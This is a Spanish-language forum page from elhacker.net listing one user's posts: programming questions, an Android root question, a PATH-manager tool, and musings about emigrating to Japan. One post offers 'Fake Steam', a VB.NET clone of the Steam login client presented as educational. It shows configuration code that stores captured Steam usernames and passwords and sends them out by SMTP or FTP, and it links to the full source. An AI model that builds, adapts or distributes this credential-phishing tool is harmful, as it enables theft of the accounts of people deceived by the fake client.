elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Temas
Páginas: 1 ... 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 [46] 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 ... 105
451  Programación / .NET (C#, VB.NET, ASP) / ¿Cómo desarrollar una aplicación para Android con VisualBasic.Net? en: 22 Mayo 2015, 19:41 pm
¿Alguien tiene idea de las herramientas que hacen falta para empezar con el desarrollo de una app de Android usando cómo lenguaje principal VB.Net y bajo la IDE de VisualStudio?.

¿Es esto posible?, sinceramente no es que me resulte dificil desarrollar la app en C#, pero C# disminuye mi rendimiento ya que lo tengo todo optimizado para el manejo de VB.Net, y resulta muy incómodo tener que llevar a cabo una transición de lenguaje VB > C# solo para desarrollar una app, aunque si no hay más remedio...

PD: No, el framework de Xamarin para VisualStudio no soporta VB.Net.

Saludos!
452  Comunicaciones / Android / ¿Cómo elimino una app del sistema siendo Root? en: 22 Mayo 2015, 00:57 am
Buenas

Tengo un Samsung Grand Prime (SM-G530FZ), e investigando por aquí "http://forum.xda-developers.com/grand-prime/help/how-to-root-samsung-galaxy-grand-prime-t3042665/post60009397" he conseguido acceso root siguiendo un tutorial de flasheo mediante la aplicación de escritorio Odin.

Tengo la app SuperSU y he verificado que soy root con la app Root Checker, bien, todo esto de ser root lo hice por que quiero eliminar (DESINSTALAR/DESHABILITAR) unas apps del sistema que no necesito para nada pero me consumen memoria, ahora, mi pregunta es... ¿cómo narices elimino una app del sistema?, sigo sin poder hacerlo por medios "tradicionales".

Estoy seguro que es posible, más que nada por que un usuario con privilegios Root debería ser capaz de hacer lo que le venga en gana con el sistema, es claramente una supuesta ventaja del Rooting:
Advantages Of Rooting
    ...
    You can delete/freeze system apps using apps like Root Explorer, Root Browser, Titanium backup etc.
    ...

En fin, en esa cita se nombra a la aplicación Root Explorer ...pero es de pago, así que lo he intentado con Root Broswer y nada, navego hacia la carpeta .\System\App, selecciono la app que quiero desinstalar (ej: Smart Tutor), me dice que se ha desinstalado correctamente pero es mentira, el proceso sigue estando activo, la app instalada, y el icono acceso directo de la app.

También lo he probado con la aplicación de escritorio Wondershare MobileGo, pero me dice que no se permite desinstalar la app :-/


(en esta aplicación también he verificado una vez más que soy Root, pero no puedo desinstalar nada...)

En fin, no veas que mareo para desinstalar una maldita app del sistema... ¿cómo lo tengo que hacer?.

Saludos!
453  Foros Generales / Foro Libre / Los primeros 21 días de una abeja, en 60 segundos. en: 21 Mayo 2015, 14:14 pm
La vida me resulta extraña a la par que espectacular, igual que este video, el cual simplemente quiero compartirlo.


(Lo que se ve en el minuto 0:29 es un parásito invasivo, un ácaro.)


(tiene subtítulos, en Inglés)

Saludos!
454  Programación / Programación General / MOVIDO: ¿Como mezclar estos dos plugins .lua? en: 16 Mayo 2015, 08:59 am
El tema ha sido movido a Scripting.
LOS LENGUAJES DE SCRIPTING NO VAN EN ESTA SECCIÓN.
http://foro.elhacker.net/index.php?topic=435289.0
455  Programación / Programación General / MOVIDO: Combinación de colores de Windows - Batch en: 15 Mayo 2015, 02:54 am
El tema ha sido movido a Scripting.
LAS PREGUNTAS DE BATCH VAN EN SCRIPTING !!
http://foro.elhacker.net/index.php?topic=435196.0
456  Programación / .NET (C#, VB.NET, ASP) / [SOURCE] PATHS (Administrador de la variable de entorno PATH y PATHEXT) en: 9 Mayo 2015, 20:40 pm



Descripción


PATHS es una aplicación por línea de comandos para administrar las entradas de la variable de entorno PATH y PATHEXT de Windows.


Características


  • Tiene opciones para agregar y eliminar entradas así como limpiar, restaurar o crear una copia de seguridad del PATH y del PATHEXT.
  • Instalador personalizado con integración en el menú contextual de directorios.


Imágenes

       


Descarga


Última versión:
http://www.mediafire.com/download/ffuxgwezf4jd5c0/PATHS.rar

Versiones anteriores:
http://foro.elhacker.net/net/source_paths_administra_las_entradas_de_las_variables_de_entorno_path_y-t398347.0.html;msg1883825#msg1883825


Versión en RUBY (deprecada):
http://foro.elhacker.net/scripting/ruby_apporte_para_windows_paths_v03_una_utilidad_para_el_path-t375961.0.html;msg1800672#msg1800672

Saludos!
457  Foros Generales / Foro Libre / ¿Alguien ha ganado algo en codecanyon? en: 5 Mayo 2015, 15:07 pm
Hola, ¿que tal?

Me gustaría saber si alguien de aquí ha vendido algún código o software en codecanyon, en realidad es para saber si realmente merece la pena, por lo que he visto se llevan una buena tajada de comisión (que eso ya para empezar, te hecha para atrás) y veo que productos magnificos y elaboradísimos que siendo realistas deberían valer un pastizal pero valen 10$ o 5$ ...¿será que hay demasiada competencia quizás?.

¿Alguna opinión sobre este servicio?.

Aparte, la primera impresión que he tenido es que para ser una web tan reconocida deja mucho que desear en el sentido de intentar facilitarle al vendedor los pasos a seguir, por ejemplo las imagenes debes subirlas comprimidas en formato ZIP ...no soporta ningún otro formato común como RAR, las imagenes deben tener un tamaño específico...no tiene ningún algoritmo de auto-resize, y en fin, si no cumples esos y otros requisitos al pie de la letra te tira error, esas son las primera pegas que le pongo.

Saludos!
458  Programación / .NET (C#, VB.NET, ASP) / [SOURCE] Fake Steam (Steam v2.70.82.9) en: 4 Mayo 2015, 09:51 am


Descripción


Esta aplicación es una simple falsificación (fake) del cliente de Steam correspondiente a la versión 2.70.82.9, el desarrollo de esta aplicación ha sido con fines educativos, con el objetivo de demostrar cómo se puede elaborar un engaño de este tipo para simular la ejecución de una aplicación legítima y así obtener datos personales (el usuario y la contraseña de Steam),
queda bajo su responsabilidad el uso que le vaya a dar a este programa.

Por fuera el usuario solo verá una aplicación que consta de 3 Forms con un par de botones y poco más, pero lo cierto es que he invertido bastante esfuerzo para conseguir elaborar una buena "mímica" (o al menos considero que es buena), hay una gran labor detrás ...en el código fuente, y con mucho código rehutilizable que les puede servir para proyectos relacionados.


Características


  • Soporte multi idioma, soportando un total de 22 de los 26 idiomas del cliente original de Steam. Los idiomas no soportados son Koreano, Japonés, Chino tradicional y Chino simplificado
  • Auto-detección de idioma. Por defecto se detectará el idioma del cliente steam instalado en el PC, si el cliente no está instalado se intentará utilizar el idioma del SO, si esto falla también, se utilizará el Inglés.
  • Simulación elaborada de varias características del cliente original de Steam, así cómo de los efectos de iluminación de los controles de la interfáz original.
  • Almacenamiento de usuario/contraseña en archivo local.
  • Envio de usuario/contraseña mediante SMTP.
  • Envio de usuario/contraseña mediante FTP.

En resumen he intentado cuidar todos los detalles posibles, aunque no soy perfecto, claro está.


Imágenes (de la interfáz en inglés)

       



Demostración y comparación de similitud





Configuración


Para configurar el programa hay que compilar el código fuente, dentro del código fuente encontrarán la carpeta/namespace Config que contiene todos los valores configurables del programa:



La configuración del idioma:
Código
  1. #Region " Steam Interface Configuration "
  2.  
  3.        ''' <summary>
  4.        ''' The default steam interface language.
  5.        ''' Use this for testing purposses
  6.        ''' </summary>
  7.        Public Shared ReadOnly DefaultSteamLanguage As New CultureInfo("en-US")
  8.  
  9.        ''' <summary>
  10.        ''' If set to <c>True</c>, overrides the default steam interface language instead of detect the proper language.
  11.        ''' Use this for testing purposses
  12.        ''' </summary>
  13.        Public Shared ReadOnly UseDefaultSteamLanguage As Boolean = False
  14.  
  15. #End Region
Nota: Los nombres de las culturas disponibles están especificados en el método DetectLanguage de la Class SteamHelper.


La configuración del nombre de usuario y contraseña:
Código
  1. #Region " Username and Password Configuration "
  2.  
  3.        ''' <summary>
  4.        ''' The string format to write/upload/send the captured username/password.
  5.        ''' </summary>
  6.        Public Shared ReadOnly UserPassTextFormat As String =
  7. <a><![CDATA[
  8. Username={0}
  9. Password={1}
  10. ]]></a>.Value
  11.  
  12. #End Region


La configuración de almacenamiento local:
Código
  1. #Region " Local Storage Configuration "
  2.  
  3.        ''' <summary>
  4.        ''' If set to <c>True</c>, enables local storage of the username/password.
  5.        ''' </summary>
  6.        Public Shared ReadOnly EnableLocalStorage As Boolean = True
  7.  
  8.        ''' <summary>
  9.        ''' The local directory where to write the file.
  10.        ''' If the directory doesn't exists, it will try to create it.
  11.        ''' </summary>
  12.        Public Shared ReadOnly LocalDir As String =
  13.            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), " Fake Steam")
  14.  
  15.        ''' <summary>
  16.        ''' The file name to store the data on the local directory.
  17.        ''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
  18.        ''' </summary>
  19.        Public Shared ReadOnly LocalFilenameFormat As String =
  20.            String.Format("FakeSteam_{0}_{1}_{2}.txt", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))
  21.  
  22.        ''' <summary>
  23.        ''' Sets the local directory attributes, such as system or hidden.
  24.        ''' </summary>
  25.        Public Shared ReadOnly DirAttribs As FileAttributes = FileAttributes.Normal
  26.  
  27.        ''' <summary>
  28.        ''' Sets the local file attributes, such as readonly or hidden.
  29.        ''' </summary>
  30.        '''
  31.        Public Shared ReadOnly FileAttribs As FileAttributes = FileAttributes.Normal
  32.  
  33.        ''' <summary>
  34.        ''' Sets the textfile encoding.
  35.        ''' </summary>
  36.        Public Shared ReadOnly FileEncoding As Encoding = Encoding.Default ' ANSI Encoding.
  37.  
  38. #End Region


La configuración de envío SMTP:
Código
  1. #Region " SMTP Sending Configuration"
  2.  
  3.        ''' <summary>
  4.        ''' If set to <c>True</c>, enables STMP sending of the username/password.
  5.        ''' </summary>
  6.        Public Shared ReadOnly EnableSmtp As Boolean = True
  7.  
  8.        ''' <summary>
  9.        ''' The SMTP server.
  10.        ''' </summary>
  11.        Public Shared ReadOnly SmtpServer As New SmtpClient("smtp.gmail.com")
  12.  
  13.        ''' <summary>
  14.        ''' The SMTP server port.
  15.        ''' </summary>
  16.        Public Shared ReadOnly SmtpPort As Integer = 0
  17.  
  18.        ''' <summary>
  19.        ''' The SMTP security.
  20.        ''' </summary>
  21.        Public Shared ReadOnly SmtpSslEnabled As Boolean = True
  22.  
  23.        ''' <summary>
  24.        ''' The mail account address.
  25.        ''' </summary>
  26.        Public Shared ReadOnly MailAddress As New MailAddress("name@serv.com")
  27.  
  28.        ''' <summary>
  29.        ''' The mail account username/password credentials.
  30.        ''' </summary>
  31.        Public Shared ReadOnly MailCredentials As New NetworkCredential("username", "password")
  32.  
  33.        ''' <summary>
  34.        ''' The mail subject.
  35.        ''' By default is "Steam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}"
  36.        ''' </summary>
  37.        Public Shared ReadOnly MailSubject As String =
  38.            String.Format("Steam_{0}_{1}_{2}", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))
  39.  
  40. #End Region


La configuración de envío FTP:
Código
  1. #Region " FTP Uploading Configuration "
  2.  
  3.        ''' <summary>
  4.        ''' If set to <c>True</c>, enables FTP upload of the username/password.
  5.        ''' </summary>
  6.        Public Shared ReadOnly EnableFtp As Boolean = False
  7.  
  8.        ''' <summary>
  9.        ''' The FTP Server address.
  10.        ''' </summary>
  11.        Public Shared ReadOnly FtpAddress As Uri = New Uri("ftp://127.0.0.1/")
  12.  
  13.        ''' <summary>
  14.        ''' The FTP server port.
  15.        ''' </summary>
  16.        Public Shared ReadOnly FtpPort As Integer = 21
  17.  
  18.        ''' <summary>
  19.        ''' The FTP username/password credentials.
  20.        ''' </summary>
  21.        Public Shared ReadOnly FtpCredentials As New NetworkCredential("username", "password")
  22.  
  23.        ''' <summary>
  24.        ''' The FTP directory where to upload the file.
  25.        ''' The directory path should exist.
  26.        ''' </summary>
  27.        Public Shared ReadOnly FtpDir As String = "Fake Steam/"
  28.  
  29.        ''' <summary>
  30.        ''' The file name to store the data on the FTP directory.
  31.        ''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
  32.        ''' </summary>
  33.        Public Shared ReadOnly FtpFilenameFormat As String = UserConfig.LocalFilenameFormat
  34.  
  35.        ''' <summary>
  36.        ''' If set to <c>True</c>, uses Binary mode for the file transfer.
  37.        ''' </summary>
  38.        Public Shared ReadOnly UseBinaryTransfer As Boolean = False
  39.  
  40. #End Region


Descarga


http://www.mediafire.com/download/iocwwp3r3i59mdd/Fake+Steam.rar





IMPOTANTE: Compilar la solución en modo Release, en el modo Release suprimo las excepciones controladas, aparte, el modo Debug tiene un comportamiento distinto y se muestran controles adicionales para testear el la iluminación de los botones:




Saludos!
459  Foros Generales / Foro Libre / ¿Un español puede sobrevivir en Japón? en: 29 Abril 2015, 01:51 am
La ilusión

Sabemos que el sueño de muchas personas jóvenes y no tan jóvenes es vivir en japón, ya sea por su enigmática cultura (Samurai, Sumo, Geishas...), la belleza de sus paisajes, el erotismo de las asiáticas, la tranquilidad que se puedes respirar desde aquí en las ciudades más apartadas del centro, la estricta disciplina que de algún modo evita varios de los altercados a los que estamos acostumbrados a vivir a diario en España, los increibles avances tecnológicos, o simplemente por que un friki no puede evitar tener ese sueño.

Pero... ¿y si un soñador cumpliese ese sueño, vivir en Japón, seguiria siendo un bonito sueño, o se convertiría en una pesadilla?.

Me estoy planteando seriamente trasladarme a vivir allí, en Japón encuentro muchas cosas que España y otros paises no pueden darme, sería la primera vez que haría algo así en mi vida, y la única vez que podría hacerlo, por que no podría dar marcha atrás para arrepentirme si las cosas no me saliesen bien,
por ese motivo quiero lanzar esta pregunta con la intención de que ustedes escriban criticas constructivas y realistas, respuestas y orientación que pueda servir de algo, no solo a mi, sino a todos los que deseen hacer algo de esta magnitud y quieran saber más.



La reflexión

¿Cual es el futuro que le depararía a un Español que se vaya a vivir en Japón?, ¿Que opciones existen para sobrevivir sin sufrir?, ¿Cómo lo planearía usted?.

Yo, soy una persona que no tiene ni idea de japonés, y eso me da miedo ...por que no saber el idioma natal siempre va a ser un impedimento para lograr alguna meta, y no se cuanta será la población española/latina allí... pero obviamente será escasa, no me sirve de consuelo, se que estaría rodeado de japoneses que al igual que yo, no tendrían ni idea de hablar mi idioma.

Mi habilidad para el ingles escrito es excelente, puedo entenderlo y escribirlo bien sin ayuda, pero en una conversación cara a cara me pierdo, no puedo interpretar las palabras de una persona al vuelo, a menos que esa persona hablase a una velocidad muy lenta, en un tono específico, vocalizando muy bien cada palabra para poder entenderle ...pero ningún yankee habla tan "entendible" cómo solemos ver en las películas dobladas, por ende, el inglés tampoco sería un punto muy a mi favor.

Mi economía es la suficiente para poder viajar hasta allí, tirar los dados, y esperar que salgan los números correctos, es algo muy arriesgado, no puedo esperar que todo vaya bien mientras vivo lo que pueda de alquilado, necesitaría un trabajo, a ser posible estable, ¿pero cómo conseguir un trabajo en un sitio donde no sabes ni por donde empezar a sobrevivir?.



La ayuda

Lo primero de todo sería pensar en quien acudir cuando lleguemos allí, pero ...¿a quien acudir?, eso es otro gran problema.

Lo primero que se me ocurrió fue investigar sobre a que tipo de servicios tenemos derecho los españoles en un lugar desconocido, es decir, la embajada española de Japón (que por el momento no he descubierto su localización exacta, ni en googlemaps), pero investigando encontré criticas constructivas y negativas que afortunadamente desvelan el patético fiasco de embajada que sin duda alguna me ayudaría a evitar mayores complicaciones y prevenir dificultades, por que una cosa hay que tener clara si se quiere vivir en japón, la embajada no te va a ayudar a sobrevivir.

La embajada española de Japón, abre sus puertas de 12:00 a 2:00 (y cómo tengan algún visitante "importante" olvídate de que te atiendan a ti en ese absurdo margen de horario), además hay que acudir al edificio en cuestion porque no contestan a emails ni cogen llamadas, y aparte de eso, según la crítica de este chaval, ellos no te pueden informar sobre trabajo ni aprendizaje del idioma ni nada básico para tu supervivencia en ese país, ¡se rascan los huevos tal que buen español!.


Entonces... si a pesar de tener un derecho legítimo a recibir ayuda del estado en otro pais, a sobrevivir en ese pais, no puedo recibir esa ayuda, ¿cómo sobrevive un español en Japón?.

El departamento de inmigración española en Japón tampoco lo encontré, pero bueno... pienso que de todas formas nunca hay que agarrarse con las dos manos a ese tipo de entidades, que te pueden negar el derecho a la ayuda humanitaria, o mandarte a la otra punta de china a que te busques la vida...

Por ende, creo que sería importante conocer lugares publicos en la red, algo cómo foros o chats donde poder consultar este tipo de cosas, donde alguien esté dispuesto a ayudar o compartir sus experiencias, para poder aprender lo que te vas a encontrar antes de viajar tan lejos, o para saber donde ir, quizas hacer algún ciber-amigo español que viva allí para tener algo a lo que agarrarte, ¿alguien sabe de algún lugar así en internet?.



La comunicación

Otra cosa prioritaria para cualquier persona creo que sería comprar un buen diccionario español-japonés y viceversa, pero creo que no existe ninguno o yo no se buscar bien, ni en amazon ni en otras webs encuentro nada (ni en la web oficial de oxford o collins), solo hay diccionarios/traductores online, que vale, muy bonito, pero me da cierta seguridad un diccionario de toda la vida para esos momentos en los que la tecnología falla y no se pueda depender de ella, pues no hay diccionarios o es muy dificil encontrar uno a la venta.

y por supuesto y más importante, inscribirse en una escuela donde enseñen japones al español, ya sea estando en España o estando en Japón (no se si hacerlo de algún modo aportaría mayores beneficios para el aprendizaje), no lo he hecho todavía... creo que es algo precoz sin conocer más detalles del modo de vida de un Español en un país así, el japonés solo me serviría estando en japón, y soy consciente de que el japonés sería algo muy, muy dificil de aprender, necesitaría varios años de aprendizaje para desenvolverme medianamente bien con el japones hablado o escrito, o eso creo, se que hay más de 6.000 símbolos japoneses ...algo imposible de aprender, bueno, son de la antigua caligrafía japonesa que ni la mayoría de los japoneses conocen (segun varios documentales que he visto, eso dicen), pero a mi un solo símbolo japonés me resulta complejo de interpretar, escribir, o traducir, claro que... no estoy estudiando japonés.



El trabajo

Creo que intentar buscar ayuda sería lo primero, pero encontrar ayuda puede resultar dificil o imposible si no sabes cómo encontrarla o si no te la ofrecen quien te la debería ofrecer, entonces, ¿que posibilidades hay de encontrar un trabajo?.

He visto muchas veces en la TV, a personas reales, es decir, el ciudadano medio (no estos típicos pijos ricos que sueltan pasta y ya viven como quieren), españoles, latinas, brasileños, que han debido cambiar completamente su antiguo modo de vida para sobrevivir en Japón, convertirse en un japones más (y de verdad que lo parecen), esta gente ha tenido la suerte de encontrar trabajos sencillos, en muchos casos rústicos, con los que parecen vivir bien y de un modo feliz, o al menos mejor de lo que vivian en sus paises de origen, eso parece.

Yo estoy dispuesto a "convertirme" en uno más, ¿pero un extranjero cómo consigue un trabajo en un pais así?, ¿se necesita suerte, o esfuerzo?, ¿cómo lograr esa meta final del trabajo, sin saber nada de este pais, ni a quien acudir, ni cómo comunicarte o con quien hacerlo?.



Cualquier comentario se agradece.

Saludos!
460  Programación / Scripting / MOVIDO: ¿Comando para ejecutar una aplicación como administrador? en: 21 Abril 2015, 19:52 pm
El tema ha sido movido a Windows.

http://foro.elhacker.net/index.php?topic=433782.0
Páginas: 1 ... 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 [46] 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 ... 105
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines